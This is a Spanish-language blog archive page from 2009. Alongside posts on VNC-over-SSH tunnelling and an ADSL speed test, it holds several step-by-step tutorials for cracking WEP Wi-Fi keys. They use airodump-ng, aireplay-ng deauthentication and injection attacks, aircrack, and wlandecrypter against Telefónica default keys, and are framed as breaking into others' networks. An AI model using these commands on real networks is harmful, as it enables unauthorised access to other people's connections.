- July 2010 (11)
- June 2010 (11)
- April 2010 (2)
- March 2010 (4)
- February 2010 (5)
- December 2009 (2)
- November 2009 (5)
- October 2009 (6)
- August 2009 (3)
- July 2009 (3)
- June 2009 (1)
- April 2009 (1)
- March 2009 (4)
- February 2009 (2)
- December 2008 (2)
- November 2008 (6)
- October 2008 (4)
October 2009
-
Tunneling VNC con SSH
Submitted by admin on Tue, 10/13/2009 - 21:38nota aclaratoria:
Maquina a la que queremos acceder (servidor vnc):
Lo primero es tener instalado el servidor ssh en la maquina remota:
aptitude install ssh
Una vez unstalada debemos ir a la configuracion (en KDE) de krfb (applications-->internet-->Desktop sharing) podemos ejecutarlo directamente dentro del menu de kde:

O tambien podemos dar la orden directamente en consola:
krfb
Ahora pulsamos sobre configure para configurarlo:

Dentro de la sección network le podemos decir que anuncie el servicio en la red (por comodidad), aunque por seguridad lo suelo quitar, al igual que use default port podemos poner el que queramos por defecto es el 5900

En la seccón de seguridad le decimos que acepte conexiones sin invitación (estar creando las invitaciones es un rollo) y habilitamos el control del escritorio (sino solo lo vemos sin interacción) y por ultimo deshabilitamos la 3º opcion que dice que si pregunta antes de aceptar una invitación, para eso tendriamos que estar delante del ordenador para decirle que si, cosa que no es factible

Ya tenemos la maquina remota configurada, ahora explicare como conectarme desde cualquier lugar con otro ordenador al escritorio de este de forma segura:
Maquina desde la que accedemos al escritorio remoto (terminal):
Con linux:
ssh -L 5900:localhost:5900 -N -f -l [usuario] [direccion del servidor]
-L 5900:localhost:5900: Indicamos el puerto por el que escucha nuestro server vnc
-N: Denuega la utlización de cualquier otro comando despues del nº de puerto
-f: Mientras se prodice la ejecucion del comando esta en modo backgroun, cuando le proporcionemos la contraseña saldrá de este modo y pondremos los comandos que queramos como si fuera una conexión ssh común
-l: nombre con el que nos logeamos (en determinadas maquinas se tiende a eliminar el acceso a ssh de root por seguridad)
[ejemplo] :
ssh -L 5900:localhost:5900 -N -f -l root pumawifi.org
Una vez hecha la conexion ssh solo tenemos que ir a cualquier cliente vnc y conectar con localhost:5900 y estaremos accediendo al escritorio remoto a través de ssh
En este caso he utlizado el de por defecto de kde (KRDC)

Ahora conectamos con localhost:[puerto]

Con windows
una vez instalado el programa putty comenzamos poniendo direccion y puerto del servidor ssh:
.A lo ultimo cuando tengamos todos los parámetros configurados podemos guardar la sesion
Dentro de SSH en Tunnel ponemos source port: 5900 y en destination: localhost:5900 (suponiendo que el servidor funcione con este puerto)

Le damos a añadir ("Add")

Confuramos ahora la pestaña X11 y donde pone x display localitation ponemos :localhost:0

Ahora nos bajamos el cliente vnc (TightVnc) y ponemos Vnc server : locahost:0, donde 0 es 5900 (si pusieramos localhost:4, sería 5904), tambíen podemos poner localhost:5900

-
Crack wep por comandos (terminal de linux)
Submitted by admin on Mon, 10/12/2009 - 11:01nota aclaratoria:
Hace varios años no existían tales distros lives, con las facilidades mencionadas antes y cada persona debía ingeniárselas para instalarse todo tipo de programas en el ordenador en su debian o distro Linux que utilizase para poder hackear una red wifi.
Además todo va por línea de comandos y no necesitas un script que te lo haga todo.
Es así como realmente se ven las opciones de cada comando.
Pues bien lo 1º de todo es instalar los drivers de la tarjeta wifi para poder ponerla en modo monitor y además que pueda inyectar.
En este caso yo utilicé una tarjeta con chip atheros y para ello necesitamos instalar los driver madwifi:
Lo primero es estar como root, después cerciorarnos de que nuestra tarjeta esta bien conectada para ello con la orden:
lspci | grep Atheros
Con esta orden nos muestra algo como: Atheros Communications Inc. AR5212/AR5213 Multiprotocol MAC/baseband processor (rev 01)
Actualizamos los paquetes:
apt-get update
Después hemos de instalar las 'headers' del kernel que tengamos instalado:
apt-get install linux-headers-`uname -r`
Donde uname -r nos pone automáticamente la versión del núcleo que tengamos instalada.
Instalamos las demás utilidades:
apt-get install madwifi-source
apt-get install madwifi-toolsInstalamos module-assistant:
apt-get install module-assistant
Ahora lo actualizamos:
m-a prepare
y ahora lo instalamos y compilamos:
m-a a-i madwifi
Cargamos el modulo:
modprobe ath_pci
Hacemos que se cargue permanentemente:
echo ath_pci >> /etc/modules
Vemos si todo es correcto:
iwconfig
Reiniciamos :
/etc/init.d/networking restart
Una vez tenemos la interface preparada vamos a utlizar airodump para capturar los paquetes iv necesarios para sacar la clave:
airodump-ng --ivs -w prueba -c 11 -abg ath0
La opción –ivs es para que descarte los demás tipos de paquetes y solo se interese por ivs
-c 11 para que capture lo que halla en el canal 11
-abg para que capture para todos los modos, a ,b y g
Y al final el nombre de la interfaz
Ahora mientas captura vamos a acelerar el proceso de captura de ivs con aireplay:
aireplay-ng -3 -b [bssid] -h [mac del cliente] ath0
Aireplay también tiene la opcion de desautentificar a un cliente conectado (puede ser utilizado para conseguir el handshake para wpa, o para generar ivs en wep)
aireplay-ng -0 5 -a [bssid] -c [mac del cliente que desconectamos] ath0
En caso de que no hubiera clientes el ataque cambia:
aireplay-ng -1 0 -e [essid] -a [bssid] -h [mac falsa (la nuestra)] ath0
Una vez que conseguimos acelerar la captura de ivs solo queda esperar hasta conseguir unos 50000 ivs y entonces utlizar aircrack:
Aircrack-ptw [ruta del archivo.cap]
-
Crack wep con diccionario (mediante wlandecrypter)
Submitted by admin on Mon, 10/12/2009 - 10:28nota aclaratoria:
Es bien conocido que una de las empresas mas importantes de nuestro país en tema de telecomunicaciones (Telefónica), vende sus productos con fallos muy graves de seguridad.
En concreto su gama de routers (Zixel y demás...), viene cifrados con wep, pero lo mas importante es que esa wep no es una clave como las anteriores mencionadas, sino que tiene mas fallos si cabe.
El fallo consiste en que esa clave esta puesta con una relación entre el BSSID (mac del router) y el ESSID (nombre de la red) con lo cual la posibilidad de encontrar la clave por un ataque con diccionario generado a partir de esos datos es mucho mayor.
Para ello se hace cargo un programita llamado WLANDECRYPTER, que junto con aircrack son un arma invencible.
No se sabe bien las causas de porque telefónica ha permitido tal fallo pero lo que es mas grave es que ahora sin permiso del usuario cambian la clave que tiene por defecto sus router, lo que de otro modo dificulta la configuración aun mas por parte del usuario, denegando así la posibilidad de que este pueda solucionar el problema.
Otra de las causas es que antiguamente regalaban con el router como oferta el famoso stick usb wifi (como un pen drive usb que hace de antena), de la marca SMC, la cual solo es compatible con wep y no con WPA (otro fallo garrafal).
Con todo esto pasemos a la parte práctica:
Las redes de telefónica se caracterizan por tener un essid de la forma WLAN_XX, donde XX es AB o CB etc...
una vez localizada el método es el mismo que en el anterior articulo (hack modo cd-live), pero el paso 16 cambia, además con este tipo de redes solo necesitamos 4 ivs (frente a los 50000 de las otras redes).
pues bien el paso 16 consiste en utilizar wlandecrypter, una vez tengamos ya los ivs necesarios (con 4 vale) salimos al menú principal:

Wlandecrypter crea un diccionario a partir del bssid y essid y con aircrack saca la clave, esta opcion lo hace todo automático, pero sus ordenes en consola serían algo como:
Wlandecrypter [bssid] [essid] [output file]
Donde output file es el diccionario de claves creado que ahora se implementa con aircrack:
Aircrack -W [ruta del diccionario] [ruta del archivo de capturas de ivs]
Siendo el diccionario el creado con wlandecrypter y el archivo de capturas el .cap que hemos capturado con airodump:

-
Crack wep con distro live-cd (mediante script con "wifiway")
Submitted by admin on Sun, 10/11/2009 - 19:43nota aclaratoria:
Necesitamos 1º descargar una iso de un cd-live:wifiway-1.0-finalDescarga directa iso: http://download.wifislax.com:8080/wifiway-1-final.iso
Descarga alternativa: http://www.antofalinux.cl/distros/wifiway/wifiway-1-final.iso
Vistas ya todas las medidas de seguridad nos centraremos en los ataques un hackeo de redes wifi.
Ante todo para hacer un buen ataque es primordial conocer la seguridad, ya que ello permitirá que conozcamos las debilidades de dicha protección.
Para ello muestro un ejemplo de como he roto una clave wep en menos de 15 minutos con una tarjeta con chip atheros y driver madwifi, con la distro live wifiway y una antena tipo bote de patatas pringles, utilizando un script automático que ayuda mucho el la elaboración del ataque (utilizando la suite aircrack).
Lo primero es configurar la bios para que arranque desde el cd (saber que también e puede hacer bootable un pen usb y arrancar si la bios lo permite).
Después una vez llegamos a la pantalla de inicio
1º para acceder al menu de las X ponemos startx
2º para ver cual es nuestra interface wireless tipeamos en consola
iwconfig
y nos saldrá algo como
lo no wireless extensions.
eth0 no wireless extensions.
eth1 no wireless extensions.
wifi0 no wireless extensions.
wlan0 IEEE 802.11g ESSID:"xxxxx" Nickname:""
Mode:Managed Frequency:2.437 GHz Access Point: xx:01:xx:6x:70:xx
Bit Rate:48 Mb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:58x0-3030-31x3-3x36-4543-33x4-34 Security mode:restricted
Power Management:off
Link Quality=27/70 Signal level=-69 dBm Noise level=-96 dBm
Rx invalid nwid:124353 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
En este caso esta claro que es wlan0
3º una vez estemos dentro lo primero es poner nuestra tarjeta en modo monitor, para ello nos vamos a chipset y elegimos “destruir interface”, nos dará a elegir entre varias, elegimos la que antes nos ponía como wireless en este caso a mí me sale ath0 , ya que el chip atheros es denominado como ath0, en las intel como eth0, en las Ralink como Rath0 en acx como wlan0 etc..

4º una vez destruida la interface le damos a crear interface (en modo grafico del menú) en modo monitor y nos creará una en modo monitor.
Esto se puede hacer desde consola con la orden ifconfig ath0 mode monitor o con el script airmon-ng.sh, pero de esta forma esta bien

5º ahora escogemos el script airoscrpt.sh y ejecutamos:

6º nos sale una ventana de bienvenida:

7º menu principal de opciones, elegimos scan para ver los puntos de acceso a nuestro alrededor

8º Nos pregunta si queremos detallar un canal específico o un rango o si desconocemos el canal a escanear le damos a todos (opción 1)

-
jazztel mi nueva adquisicion
Submitted by admin on Fri, 10/09/2009 - 23:01nota aclaratoria:adsl 20 mb (anexo M)
aqui os dejo los resultados, con el router (comtrend 536) comun sin cambiar firmware, y turbo up activado:
distancia de la central 950 metros
datos:
Downstream Upstream SNR Margin (dB): 8.9 8.0 Attenuation (dB): 22.5 7.4 Output Power (dBm): 3.2 11.3 Attainable Rate (Kbps): 19912 2140 Rate (Kbps): 17653 1970 -
Pido disculpas
Submitted by admin on Fri, 10/09/2009 - 21:33nota aclaratoria:Error con los comentarios
Pido disculpas ya que por culpa de la utilizacion del editor de texto FCKeditor para la página no se podían comentar los nodos, después de hacer muchas pruebas y ver que cuando deshabilitaba FCKeditor los comentarios no me daban el error "comment field is requiered".
Al final he puesto TinyMCE espero que quien le apetezca escribir un articulo le guste, es practicamente igual , incluso mas completo.
Gracias y perdon por las molestias

2009-10-09 21:36:26





